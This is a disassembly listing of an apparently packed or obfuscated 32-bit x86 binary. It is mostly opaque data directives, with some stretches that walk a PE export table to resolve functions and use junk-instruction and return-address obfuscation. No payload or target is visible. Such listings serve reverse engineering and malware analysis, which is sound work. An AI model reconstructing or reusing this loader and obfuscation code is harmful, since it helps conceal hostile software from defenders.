		dd 61322C5h, 58F64h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 167CC350h, 7E6E9606h
		dd 8D896028h, 6132CD9h,	0C48361F5h, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 43F7DE2Dh
		dd 106324A9h, 29C19D29h, 61F90613h, 83E9h, 52515300h, 5C8B5756h
		dd 81661C24h, 0F5A4D3Bh, 6885h,	43B70F00h, 66D8033Ch, 45503B81h
		dd 57850Fh, 5B8B0000h, 245C0378h, 24738B1Ch, 1C247403h
		dd 207B8B56h, 31C738Bh,	320247Ch, 0FC202474h, 41FFC983h
		dd 1C245C8Bh, 5403178Bh, 0C7832024h, 84028A04h,	3A0874C0h
		dd 43E87503h, 3AF2EB42h, 5FE07503h, 0B70FE1D1h,	48B0F04h
		dd 24440386h, 5A5E5F1Ch, 8C25B59h, 0E9C03300h, 0FFFFFFF1h
		dd 0DE8CA8Bh, 0EB000000h, 5565E419h, 97D80076h,	0CA9AE530h
		dd 28B0Fh, 0D08B0000h, 0CAB70F5Bh, 5AF4C381h, 8B660000h
		dd 1683BFD0h, 830F0000h, 19h, 138D0Fh, 0DE80000h, 0FE000000h
		dd 0F9464AC0h, 0D1A3FC0h, 8A07EA89h, 0E833FF5Ah, 14h, 0FD345D2Eh
		dd 0A83BBDB0h, 6D31D76h, 8A46DD89h, 0DE59EA83h,	54059CB8h
		dd 0B15E5A36h, 0B1F68146h, 0E96F5B95h, 0Ah, 7F1994DCh
		dd 0FE9B3852h, 0EE815A81h, 2FED01ADh, 8C50BA50h, 8159402Ch
		dd 0F88CACEEh, 0F8C18177h, 893BC1BCh, 8E833h, 88370000h
		dd 11540D27h, 835A3E1Ch, 816601EBh, 4B45F4C8h, 0B8664B4Bh
		dd 0EF812BBEh, 1, 1B850Fh, 800F0000h, 5, 0E4F28166h, 19E92Bh
		dd 5D890000h, 26B7CA75h, 49099CB1h, 50B16015h, 0FF5FE961h
		dd 0D69BFFFFh, 0E9B661D1h, 0FAh, 2D7B691Fh, 8A055C97h
		dd 76A18883h, 7A0E0A1Dh, 33538FDDh, 7D2F6D37h, 2D773D55h
		dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh, 577DD773h, 5FEDF73Dh
		dd 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh,	171E577Dh
		dd 2075DF6Dh, 20602060h, 60E0E020h, 7B68AC20h, 0A1E4A9F7h
		dd 93B2D020h, 9DB7EDA6h, 0A3F291B9h, 206020ACh,	20602060h
		dd 60E0E020h, 33537520h, 7D2F0D0Ah, 20602055h, 28602060h
		dd 0F0362BA7h, 0F360C950h, 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h
		dd 0B9E9B3F4h, 2060F76Dh, 20602060h, 0F7202060h, 351ADF6Dh
		dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 2D773D55h
		dd 0D77DD57Fh, 0F73D577Dh, 0D575DF6Dh
		dd 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h, 0E0A1E35h
		dd 5D340700h, 59A0A3D2h, 1Eh, 4	dup(0)
		dd 0E6E90000h, 6800000Bh, 616979Dh, 0FCEC13E9h,	988568FFh
		dd 9E90616h, 68FFFCECh,	6169939h, 0FCEBFFE9h, 99CF68FFh
		dd 0F5E90616h, 68FFFCEBh, 6169A60h, 0FCEBEBE9h,	9AF668FFh
		dd 0E1E90616h, 68FFFCEBh, 6169C58h, 0FCEBD7E9h,	9D2F68FFh
		dd 0CDE90616h, 68FFFCEBh, 6169E14h, 0FCEBC3E9h,	9F0268FFh
		dd 0B9E90616h, 68FFFCEBh, 6169FB6h, 0FCEBAFE9h,	74E270FFh
		dd 6CE27456h, 72D86C4Eh, 73DD6E54h, 74E06D53h, 0A3C86756h
		dd 0BAA03E16h, 0A88A282Ah, 0B3953513h, 0BF8C2A22h, 49F16DA0h
		dd 67BA16B4h, 4DE0C2FBh, 8B2F6EFFh, 0C1401139h,	0C884D5F7h
		dd 4B075579h, 0C987D8FAh, 4A045678h, 41BAD8FBh,	0FA8F0354h
		dd 7757F548h, 77543237h, 8EA39306h, 4696BC16h, 0E627C40Ch
		dd 7C28DEC9h, 13E3C3DCh, 0A5381AC9h, 902107A7h,	0AA3B1FBCh
		dd 8CCB1AA2h, 2C3D17A6h, 25A4E3EDh, 9D0A8A6Eh, 9F5D5780h
		dd 1DF0C5BFh, 9C2428B9h, 9829D972h, 0A13416B4h,	0BA2B0CABh
		dd 0A8A1560h, 8DDCE429h, 73D96C4Eh, 3719A3E2h, 0EF97A6A6h
		dd 0A73AE861h, 0EFAD05A5h, 915AAD8Ah, 0A93317A9h, 4A772h
		dd 6CBDC800h, 0DDCC3E0h, 6BE1F7D3h, 3E80DFE9h, 454161EBh
		dd 654D6A1Ch, 0A9E879D5h, 4E96B205h, 0BD0C2E11h, 83BE4D97h
		dd 0C168F98h, 0B49BB889h, 0EC5248BAh, 0A7E6EE00h, 0A8AD527h
		dd 0EF7ED663h, 62F35BEBh, 9E87046Eh, 1E3EBB57h,	5AACC65Eh
		dd 0C6C61A40h, 8ADD3B97h, 0E081040Ah, 71A83051h, 4Dh, 70E5C2C5h
		dd 109DB516h, 0CA1CBEDFh, 0E9003C84h, 0CECF3E9Dh, 9F168E98h
		dd 409EEF7Eh, 970A8A89h, 0B8D06248h, 0F5122FF2h, 16B8D9B1h
		dd 0C53F89C3h, 75480834h, 0D2A5AADh, 8A487ED8h,	0D490AF0Ah
		dd 86B74884h, 158C54B9h, 0B9h, 0E06CBD29h, 74E06D51h, 0FC50E1E5h
		dd 74D8696Dh, 0B7962756h, 0D3F7109Dh, 1D7CCD85h, 1C3081D3h
		dd 3499CBEh, 9BEBF632h,	0B6C4C93Ch, 2A0D168Eh, 8AA45FBBh
		dd 0DBE5280Ah, 3957498Eh, 0D0E312B5h, 0CC1511B1h, 0CC6034F4h
		dd 0DCBD690Dh, 868B8EFFh, 21641074h, 4311A082h,	0CE604263h
		dd 8850B180h, 285DF746h, 79F00A2Eh, 0E685C067h,	5A000008h
		dd 466C4A0Ch, 567C5AF4h, 486A4802h, 577959F7h, 396C4A0Ah
		dd 0C4895F6h, 163C8CAEh, 0B3D92B8h, 183485ABh, 3FAEB1BAh
		dd 16B44BE3h, 0C2C975ACh, 0DC2934DDh, 1FA95E39h, 87F6A02Dh
		dd 109E780Bh, 0F2D0B1D4h, 0EFCF7DD0h, 0C8BEA351h, 57E6CCEBh
		dd 0A32D6CFDh, 8E986564h, 86D73616h, 8A8797F7h,	0CD85D30Ah
		dd 46085A7Ch, 9D2E64F7h, 54E521A8h, 0AD396828h,	0B0D05Ah
		dd 0BD660000h, 0DFC3E06Ch, 0D2330252h, 0EA775B0Ah, 0DBFCDB6Ah
		dd 9DB530AAh, 4C94F910h, 9DB84CBDh, 3715A810h, 2C20B197h
		dd 0BCCA1F1Dh, 0A6AE3B1Fh, 716E7697h, 8EB619FCh, 0A0D5F216h
		dd 0A8AA326h, 0EFCFAEEFh, 0D806BAAFh, 0FB293C26h, 0D7FBD8B9h
		dd 0D2FFC989h, 74F98FA3h, 0A6058810h, 0BF1F3584h, 55084C99h
		dd 79F08B6Bh, 0FEFCD990h, 42000007h, 5E4462F4h,	0FE2482CCh
		dd 2002A0AAh, 0BFE1C18Fh, 0D1C4E272h, 0B4A02D5Eh, 0AEA43416h
		dd 0B3952A10h, 0B09C2D13h, 0D7064912h, 16B44D7Bh, 0BD71CD44h
		dd 0BC902170h, 87DCFEDDh, 0C71170C1h, 3616A789h, 6CBD3A98h
		dd 0DC6D51E0h, 626C5270h, 49662049h, 8EA59514h,	0DC311616h
		dd 0F82C2CDFh, 7095529Ah, 19CAFE8Fh, 5198E842h,	0CE679635h
		dd 0CF11B28Eh, 2DDBEB88h, 7F1E81B0h, 0EF97D2EEh, 7DC8EFD0h
		dd 0FD0F9FD8h, 418EFDC7h, 0AE0B9C2Dh, 506F506Fh, 979CC11Dh
		dd 184D8AFFh, 0FF979CBEh, 5D670687h, 4462EA7Bh,	0CC81CB5Eh
		dd 751333FEh, 4A7D580Fh, 0F6000007h, 0EAD0EE68h, 0F2D8F658h
		dd 0ECCEEC5Eh, 0F3D5F55Bh, 0DDD0EE66h, 0A8AC3952h, 0BA98280Ah
		dd 0A7A1361Ch, 0BC902107h, 0DB0A551Eh, 16B44E7Fh, 0BD6DD148h
		dd 0DFC3E06Ch, 63ED3E51h, 0AD23302h, 82045D5Bh,	8C200225h
		dd 53E26AFBh, 0DC6F5332h, 2C25646Ch, 0ED168E94h, 0D30E0AA8h
		dd 82E114B3h, 0F107801h, 0B809318Eh, 0C1143694h, 637EBA8Bh
		dd 3B518423h, 780A616Bh, 4194B615h, 3485AB0Bh, 0F6EB4918h
		dd 87C23390h, 0D0044E4Bh, 0E0FC184Dh, 72396DC5h, 6B457h
		dd 183E8C00h, 84698BAh,	163488AAh, 0F4192B8h, 183C89AFh
		dd 47A48BBAh, 567C5AFAh, 4C6E4C06h, 4F7151F7h, 63704EFEh
		dd 4D8D097Ch, 435616B4h, 5BEA31Fh, 0DCFB9AB6h, 56E761F6h
		dd 0E469337h, 0C916DE3Fh, 8B218894h, 0AEFD2516h, 9FAD00A2h
		dd 56759855h, 2B79DD71h, 60688476h, 676B5473h, 5806B1F2h
		dd 6FC214DCh, 8ADBFDDDh, 2C3573C2h, 785A7D5Ah, 0D935A8E4h
		dd 0A20A873Dh, 4BBA0263h, 10781D52h, 837FF213h,	0AC79EFB3h
		dd 623E0FDh, 911D0000h,	73C3E5C5h, 83D5FBDBh, 72C1E7C7h
		dd 8BDA00DEh, 75BAE9C9h, 2B8BC918h, 3B9BB705h, 2886C215h
		dd 3D9DAF02h, 60BA2B34h, 2916B44Fh, 0E5C24EF0h,	9DB51670h
		dd 0B8F8DF10h, 9BEF5892h, 122EB6D7h, 0DD10AFD7h, 168BD79Eh
		dd 0E5CDEA2Bh, 0F8DAF854h, 5A56E765h, 7758770Fh, 0F9A50750h
		dd 0D8E09AFAh, 75D373A9h, 4E6DB010h, 0DB6C4E71h, 0D28A0475h
		dd 32530471h, 3715A8AAh, 2C20B197h, 0BCCA1F1Dh,	0B3B3EE1Fh
		dd 99FC0A62h, 0DA49E4E4h, 1732F973h, 58Dh, 8F2F27B3h, 953519A9h
		dd 892921B3h, 9A3818A7h, 8B2B29B8h, 0E7769798h,	0DD6B4D6Dh
		dd 0E0735575h, 0D5684A68h, 458A5777h, 0B44EB610h, 382A7F16h
		dd 8C1D6CBDh, 1D02A1C0h, 0B588D580h, 4FBE1D78h,	109DD8D3h
		dd 0F06F799Ch, 581F4D3h, 39109DD9h, 7392A3A7h, 3517A1E4h
		dd 270BA8A4h, 2432BA9Ah, 90C3FDE4h, 88388CD3h, 9AFB53E3h
		dd 4CA9DCFBh, 0D5168EBCh, 0F250A1B0h, 490A8AB7h, 50204CBDh
		dd 0F85AACE5h, 44h, 0C8BEA35Eh,	7AEBCCEBh, 109DB520h, 0FB4A0054h
		dd 8048CD9Ah, 8E980001h, 0FD4CD116h, 7F59F9DEh,	0D8EC5B7h
		dd 82C644C3h, 0B0020A8Ah, 3B8BCF9Eh, 61914213h,	9AF4FDE8h
		dd 243DFB21h, 0D0A55AADh, 0B9000000h, 0C3E06CBDh, 0B51571E4h
		dd 0BFDE109Dh, 4594B635h, 39213E0Fh, 7495A4A8h,	75D76A6Ch
		dd 0FD4FE2E4h, 9AD700DDh, 15F87E61h, 0A7B0AD2h,	66109DC3h
		dd 775979D3h, 0D9D766E6h, 0F6D9F690h, 0BC2AA4D9h, 0CF5E109Dh
		dd 655B485h, 63CE3D87h,	0C168E8Dh, 250D2A89h, 68A9B894h
		dd 8A8A9DF9h, 7B61660Ah, 2914899Dh, 0C311DBBAh,	0CBE89EC3h
		dd 74C2209Ah, 0C7E42910h, 0E1FE56E3h, 56E76BF9h, 0E9659837h
		dd 0B20474AEh, 654B8953h, 0C9097CD8h, 0A79F044h, 42B6663h
		dd 0C9150000h, 0BB0B2D8Dh, 0BB0D3393h, 0BA092F8Fh, 0C3123896h
		dd 2D023191h, 0C3E371C0h, 0A3034FDDh, 0C01E2A7Dh, 0A505479Ah
		dd 0C842B39Ch, 9116B450h, 70BD2618h, 51E4C6E4h,	0A37DDBFBh
		dd 99B505BEh, 8B2849C8h, 8E987B5Ah, 0EAC94C16h,	73FB9DC5h
		dd 0D51F2CBFh, 2967E716h, 54BE0A8Ah, 9EC795B7h,	0B96F5AADh
		dd 0D3000000h, 51E06CBDh, 0E574E06Dh, 3A94C9E6h, 3109DB5h
		dd 0B53591C4h, 9FFE109Dh, 2697F6FEh, 82109DB8h,	9CBE1D2Fh
		dd 0D435044Ah, 0C9F1CE0Ch, 382D377h, 64697B9h, 96F0F937h
		dd 8259C439h, 8302168Eh, 91200223h, 0C91372C3h,	0B512746Dh
		dd 74DD4540h, 308F0E10h, 0D984DE0Fh, 0C84D0474h, 62EFD300h
		dd 5FEED4F2h, 6F5C80F5h, 0E28979F0h, 354E7h, 0F85EEC00h
		dd 0E866F8DAh, 0F654E8CAh, 0EF61F2D8h
		dd 0F85CE9CFh, 2744EBDAh, 361CBA9Ah, 2C0EACA6h,	2F11B197h
		dd 4310AE9Eh, 526DE91Ch, 0E33616B4h, 0E470BD7Fh, 3551E4C6h
		dd 0EA8A2B92h, 1DBDDC98h, 83C51A40h, 0CF8953B2h, 51E06CBDh
		dd 1AADDC6Dh, 4E6F4F2Eh, 57E5B969h, 0F9C36C1Bh,	0B9B0C9D3h
		dd 0FE7FEECDh, 0F168F06h, 0D326D8Eh, 356A94A2h,	0E01FA9CDh
		dd 0AE96170Ah, 124385DCh, 665592B8h, 5E7D1C81h,	4689922Fh
		dd 9A270B6Ch, 626AABBAh, 92B18005h, 72C640B5h, 8EFF6042h
		dd 60427314h, 6AABB8DDh, 7B0B5662h, 68E2765Ch, 0F8BFAD9h
		dd 0D8604273h, 0CF0CD4B5h, 3087719Eh, 20BFDE66h, 6A5A73Ah
		dd 6EFB9424h, 573657E6h, 1F3D8706h, 85CB1C3Eh, 498B55B4h
		dd 52154F8h, 1ECFA78Dh,	26F528Fh, 85D10000h, 7FCFF1D1h
		dd 77C9EFCFh, 7ECDF3D3h, 7FCEF4D2h, 69C6F5D5h, 3F9FB504h
		dd 2787CB19h, 3C9AAE01h, 2989C316h, 54CE3F20h, 1D16B453h
		dd 6CBD5A04h, 0B557B322h, 0FD20109Dh, 0ED203F9Ch, 109DB571h
		dd 89C7183Ah, 2381E0E8h, 0FA6B483Eh, 168EB5EFh,	0EFD5F518h
		dd 0EF97D213h, 9DD0EFD0h, 0A8AB341h, 0C2418B0Ah, 107BA423h
		dd 0CDF2D134h, 5DC5443Fh, 9E6F79EBh, 480C5981h,	0B15098F9h
		dd 9FED0C4Dh, 0B7147277h, 0D96CAF46h, 17AAB04Dh, 0E071E372h
		dd 1071C0A1h, 0BFE3E071h, 3253E272h, 75538EAAh,	0D5578600h
		dd 0AFCE4F41h, 0B80B2F10h, 5765E190h, 0EF2E41D5h, 0F0D7F8E5h
		dd 0C1164D01h, 7057B687h, 616B1073h, 0C318D522h, 0E4C34247h
		dd 4351DFC3h, 0BE87B812h, 7D1C813Bh, 7CD06173h,	63E97C5Eh
		dd 3A1DE6EEh, 213CEBB1h, 181h, 0C3E373BFh, 0A1014DDDh
		dd 0BD1D2D7Fh, 0A6044C9Bh, 0BF1F3584h, 0FB4AA38Ch, 9577959h
		dd 0F4476949h, 1547654h, 815E6B4Bh, 0B453920Ch,	1C465B16h
		dd 8F1D6CBDh, 721372C3h, 0EA9CC5E3h, 0AFD598CDh, 2F6E168Eh
		dd 3517AA90h, 1487ADABh, 0C640B592h, 8F0A8A99h,	6F7AC60Eh
		dd 0B397B817h, 0FA1B2A22h, 8B1293F2h, 0E223107Bh, 0A87FDAC5h
		dd 736FA58Dh, 76E18802h, 0ADCC5104h, 0DFDB7223h, 399C4885h
		dd 4795630h, 5174EA6Dh,	221E2F6Eh, 3F20BFC7h, 0D671ED20h
		dd 0DB3A4570h, 0EA457211h, 53B24B5Eh, 51FB4E74h, 4EFE4F71h
		dd 0D5EFC31Bh, 1835F4B4h, 0CDh,	4F6FE773h, 5575D969h, 4969E173h
		dd 5A78D867h, 4B6BE978h, 27B6D758h, 1DAB8D2Dh, 20B39535h
		dd 15A88A28h, 85CA9737h, 0B453F650h, 0F86ABF16h, 0C3E06CBDh
		dd 6DFC4CDFh, 0E273D769h, 6BFAC2A3h, 5572144Dh,	8EB8F120h
		dd 0C3E32216h, 0CBE89EC3h, 0CE6F4E4h, 0AB3E1ED6h, 0B2802779h
		dd 0B3A0282Fh, 78120A42h, 499BBF10h, 0EB2AB701h, 0A1E5785Ah
		dd 125B65ADh, 5A5C478h,	1DBA9223h, 9AABA735h, 83F2717Bh
		dd 2FC76254h, 0F065427Dh, 0D906D196h, 5CB63E5Fh, 0AAA233DFh
		dd 0B993260Ch, 3B15A6A8h, 3FBC362Ah, 0AC0A4293h, 48193386h
		dd 5DB92C0Bh, 91D906D2h, 0DF3E0F43h, 98C30D90h,	0Dh, 815E7B36h
		dd 9DB4920Ch, 0B23A5B10h, 0E571BD28h, 6DDF7254h, 0E365FADCh
		dd 72E07052h, 252DFE3h,	92C20F33h, 20307FC3h, 0AF9B2D11h
		dd 242ABC9Eh, 9C682215h, 89000041h, 0E189240Ch,	4C181h
		dd 0E9830000h, 240C8704h
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	0CFh
		mov	[esp], ecx
		push	edx
		push	esi
		mov	esi, 61695B3h
		mov	edx, esi
		pop	esi
		mov	ebp, edx
		pop	edx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	2D27h
		mov	[esp], ebp
		pop	dword ptr [ecx+8]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		db 38h
		dd 0D0DBB27Eh, 2BEF9BE7h, 0A0A8B83Bh, 0C5030616h, 0A9A7E0FFh
		dd 0AD63469Ah, 67E50BAAh, 23EB4167h, 0AEB44CC3h, 9742172Ah
		dd 48E949F4h, 48000001h, 4C000000h, 50000000h, 54000000h
		dd 58000000h, 5C000000h, 60000000h, 64000000h, 0A8000000h
		dd 0AC000000h, 0B0000000h, 0B4000000h, 0B8000000h, 0BC000000h
		dd 0C0000000h, 0C4000000h, 0C8000000h, 0CC000000h, 0D0000000h
		dd 0D4000000h, 0D8000000h, 0DC000000h, 0E0000000h, 0E4000000h
		dd 38h dup(0)
		dd 7B000000h, 3005B64h,	8D00B1C2h, 16A15185h, 8E906h, 169E0000h
		dd 6A497420h, 85895108h, 616A291h, 10558589h, 85C60613h
		dd 61311E1h, 8E954h, 958C0000h,	90E28FFFh, 805774FDh, 0E85BE7CDh
		dd 4, 0EE626829h, 50F08B66h, 710DBF66h,	424448Bh, 11E851h
		dd 29310000h, 0A30378B9h, 0A744D9FEh, 3485C9B6h, 669A5C25h
		dd 5B59FA8Bh, 5060008Bh, 0FE8B6652h, 0BA66310Fh, 585AF20Eh
		dd 6E9h, 94FA7A00h, 6123218Fh, 4244489h, 310F5250h, 8B665250h
		dd 52310FD7h, 5A585A5Ah, 0CE805858h, 0E9B5FFC2h, 8D06131Eh
		dd 167C3385h, 859D8906h, 0FF061330h, 0D18531D0h, 8906132Ch
		dd 16A29585h, 433EBE06h, 958B3938h, 61320E9h, 5BE9h, 0C3CB8000h
		dd 91B58B56h, 890616A2h, 91858306h, 40616A2h, 8D60C35Eh
		dd 16A151B5h, 560FEB06h, 36FF006Ah, 0A29595FFh,	835E0616h
		dd 3E8304C6h, 61EC7500h, 15B58BC3h, 60061314h, 0CD9D8Bh
		dd 6E80613h, 73000000h,	8FC55391h, 59BCB3C8h, 0C1816661h
		dd 9D231226h, 6131385h,	0A37C858Dh, 8B660616h, 398589F8h
		dd 0EB061313h, 251C8F4Fh, 0A108ABFAh, 0A4ACDAC6h, 5CD2D41Ch
		dd 0CE00E45Ch, 1BF53134h, 29B327CEh, 0DD5B34D1h, 17E62AC7h
		dd 34DF1BCEh, 0A6DB67h,	422577h, 0DC80BA9Fh, 0
		dd 0FEBB1B54h, 0FE390000h, 0FBh, 52DDB487h, 9ED92023h
		dd 7C809E01h, 1346E9h, 50006A00h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0D30E9EABh, 0FBB9BAC9h
		dd 8E0F4879h, 0Ch, 68B0Fh, 0CF810000h, 1E486D1Fh, 173DBD83h
		dd 0F000613h, 3685h, 75958B00h,	0B806130Ah, 0
		dd 11258589h, 4C20613h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 3C3E42DFh, 8BE3E931h
		dd 0C88B66C0h, 1D319589h, 0BD830613h, 6131625h,	83097500h
		dd 132C81BDh, 13740006h, 0C08B5350h, 4D0B8h, 519D8D00h
		dd 0FF0615A7h, 83585BD3h, 132C81BDh, 11740006h,	0D0B85350h
		dd 8D000004h, 15A69E9Dh, 5BD3FF06h, 0C8BF0F58h,	8BF8BF0Fh
		dd 2D8589C0h, 8D06130Fh, 16A41685h, 3D8D0B06h, 50061315h
		dd 76BA6653h, 4895F7Ah,	85952324h, 8D061317h, 16A3D385h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 9D8971E5h, 6131259h, 50FE8B66h, 47ADBF66h
		dd 0F240489h, 95FFCEB7h, 6132045h, 338CCEBAh, 24448B4Dh
		dd 0C9816604h, 85890593h, 616A3FEh, 1ABD8529h, 0DA800613h
		dd 24448BBBh, 0F5B58908h, 0FC061307h, 0A4128589h, 6A0616h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0F98C37C3h, 89E2D55Eh, 132EB1B5h, 0D5BD8306h, 6131Eh
		dd 131850Fh, 0D78B0000h, 11E185C6h, 89470613h, 1301F58Dh
		dd 4E806h, 0A7D20000h, 5250D49Ah, 2A9A2ABFh, 50310F3Dh
		dd 0CF9EB952h, 310F12DCh, 585A585Ah, 0E6BF6650h, 24448BF8h
		dd 52008B04h, 0EE85250h, 7D000000h, 0BCCE8B11h,	0CC847790h
		dd 0D53D44BFh, 310F59CFh, 14E8h, 2EE8FB00h, 0DAAFB380h
		dd 637247A3h, 699B9906h, 0AA0098EBh, 585A5FE1h,	2444895Fh
		dd 958B5804h, 6130131h,	1EE9B5FFh, 6A0613h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 5E4376C3h
		dd 23BF017Fh, 33858DF9h, 6A06167Ch, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0A9C8C357h
		dd 6AD0FF03h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0BC9FC355h, 0EE9h, 697FE00h, 0F64E1245h
		dd 140D6779h, 892B9E3Eh, 131ED585h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 5860F1Bh, 66000000h
		dd 0D2D6F281h, 6E9h, 0D23AF600h, 8366ADD3h, 131315BDh
		dd 850F0006h, 0B7h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 18h, 65C35040h, 0F6CD0F07h, 5E953h, 896A0000h
		dd 5F3E32A9h, 11E185C6h, 0E9470613h, 12h, 0F64A5071h, 0BE71531Dh
		dd 0B9959EA0h, 0CAD1719Ch, 7A6816CBh, 8B2A0F23h, 240481C8h
		dd 60009268h, 5B85E181h, 0B5FF7F77h, 6131EE9h, 158529h
		dd 858D0613h, 6167C33h,	38E0Fh,	0BF0F0000h, 6AD0FFCEh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 6419C350h, 31A8ECABh, 0B966741Dh,	858942F3h
		dd 6130B75h, 13158589h,	0B70F0613h, 218D8BCEh, 83061316h
		dd 130135BDh, 850F0006h, 0CAh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 4EC35747h, 86BF66D7h, 15958B8Ch
		dd 0C606130Bh, 1311E185h, 6A5606h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 4B40A7C3h, 0B4AF1068h
		dd 46B966FAh, 24348183h, 2EABC229h, 4D98D89h, 0B5FF0613h
		dd 6131EE9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	5EC35040h, 8955FA45h, 1317298Dh, 33858D06h, 6A06167Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0E902C356h, 55FA455Eh, 0B167FD15h, 1DC18166h
		dd 89D0FF70h, 13013585h, 7133BF06h, 85C64635h, 61311E1h
		dd 55006A6Ch, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 2F427687h, 14E822h, 445C0000h, 0E1186478h
		dd 0A081C409h, 21FE3BFBh, 82C4F4FCh, 8B66B34Ch,	4E859D7h
		dd 83000000h, 50DB0570h, 424448Bh, 0F98B6660h, 61FE8B66h
		dd 0AB6008Bh, 4244489h,	0F58D78Ah, 48Bh, 98BA6600h, 6DB5FF84h
		dd 6A061311h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 8D5EC357h, 0F1D2C036h,	8D19D280h
		dd 133AAD85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 56CD6F04h, 3890F3Ch, 66000000h, 0D0FFFA8Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 95C35141h
		dd 5185D46Fh, 31B58952h, 5906130Ch, 0A4028589h,	83F80616h
		dd 16A41EBDh, 850F0006h, 157h, 0B418D23h, 85C60613h, 61311E1h
		dd 13E849h, 11190000h, 6F3041EFh, 2FD7FE79h, 60B34321h
		dd 947B51D2h, 11B589AEh, 5A061324h, 8E8h, 0DEF25B00h, 4E550DAEh
		dd 10E837h, 0B2790000h,	1BF4111Ch, 0C5B0D5F4h, 0C96696CEh
		dd 95296255h, 6130D35h,	0B6685F5Ah, 66707DF4h, 8180D4BAh
		dd 35332404h, 6A1B97h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 429371C3h, 0C83402EAh, 8E0FB0B5h
		dd 2, 0B5FFD08Ah, 613116Dh, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0E7C35040h, 0DDEC6EB4h, 6595890Bh, 8D06130Eh
		dd 133AAD85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 81C67561h, 1958952h, 0FF061306h
		dd 50006AD0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0BBD635A0h, 0B2DABCB8h, 0E9579C3Fh, 0Dh
		dd 3A52E133h, 0D7DE8DF6h, 3D6B4A8Fh, 0BD335FA2h, 613072Dh
		dd 0A41E8589h, 6A0616h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 0D339A5C3h, 0BDBD89E2h, 6A061305h
		dd 15850904h, 68061321h, 8800E52Ch, 95A2B966h, 0D4240481h
		dd 8B77FF2Ah, 13166D8Dh, 0B486806h, 0F38A23C7h,	48243481h
		dd 3123C60Bh, 1331F9B5h, 0F8006A06h, 297D95FFh,	6A0613h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0B000DEC3h, 41AB2746h, 810F87D4h, 6,	24058501h, 85890613h
		dd 616A40Eh, 2DB58952h,	59061309h, 0A40685C7h, 616h, 8D8B0000h
		dd 6130DD9h, 0E981006Ah, 31876B73h, 4E8h, 1000000h, 7176B900h
		dd 6650481Ch, 8B3A3BB9h, 66042444h, 8BD048BFh, 3220BA00h
		dd 448962A0h, 0E8B20424h, 68D0F58h, 29000000h, 1328C1BDh
		dd 0BF669006h, 8B509D13h, 950990CEh, 6131FEDh, 0E2810B6Ah
		dd 3DD48A04h, 0A3DB858Dh, 95890616h, 61304C1h, 3880Fh
		dd 8B660000h, 525090F8h, 0DE8h,	0DA6B1900h, 89EF6937h
		dd 16ED5B64h, 61603EB5h, 57310F59h, 13E8h, 0BC6FCD00h
		dd 0AAFB01A3h, 341AF42Ah, 1328E0C0h, 0B1244735h, 585A5A5Fh
		dd 5E850h, 59650000h, 6015B5A7h, 310F5250h, 75BA585Ah
		dd 615E6449h, 6A905Fh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 3AAD1FC3h, 0D595FFA7h, 6A06131Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0E77BC353h, 0F2C10EDCh, 5FE3BADCh, 0B58D3D56h
		dd 616A3E5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 2C35343h, 450A9198h
		dd 2ACC21EEh, 0A6AEC281h, 7E86815h, 15000000h, 0AE0E5344h
		dd 890F72FDh, 2, 965F6160h, 5ACE8A56h, 1EAEBA50h, 6A960C8Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
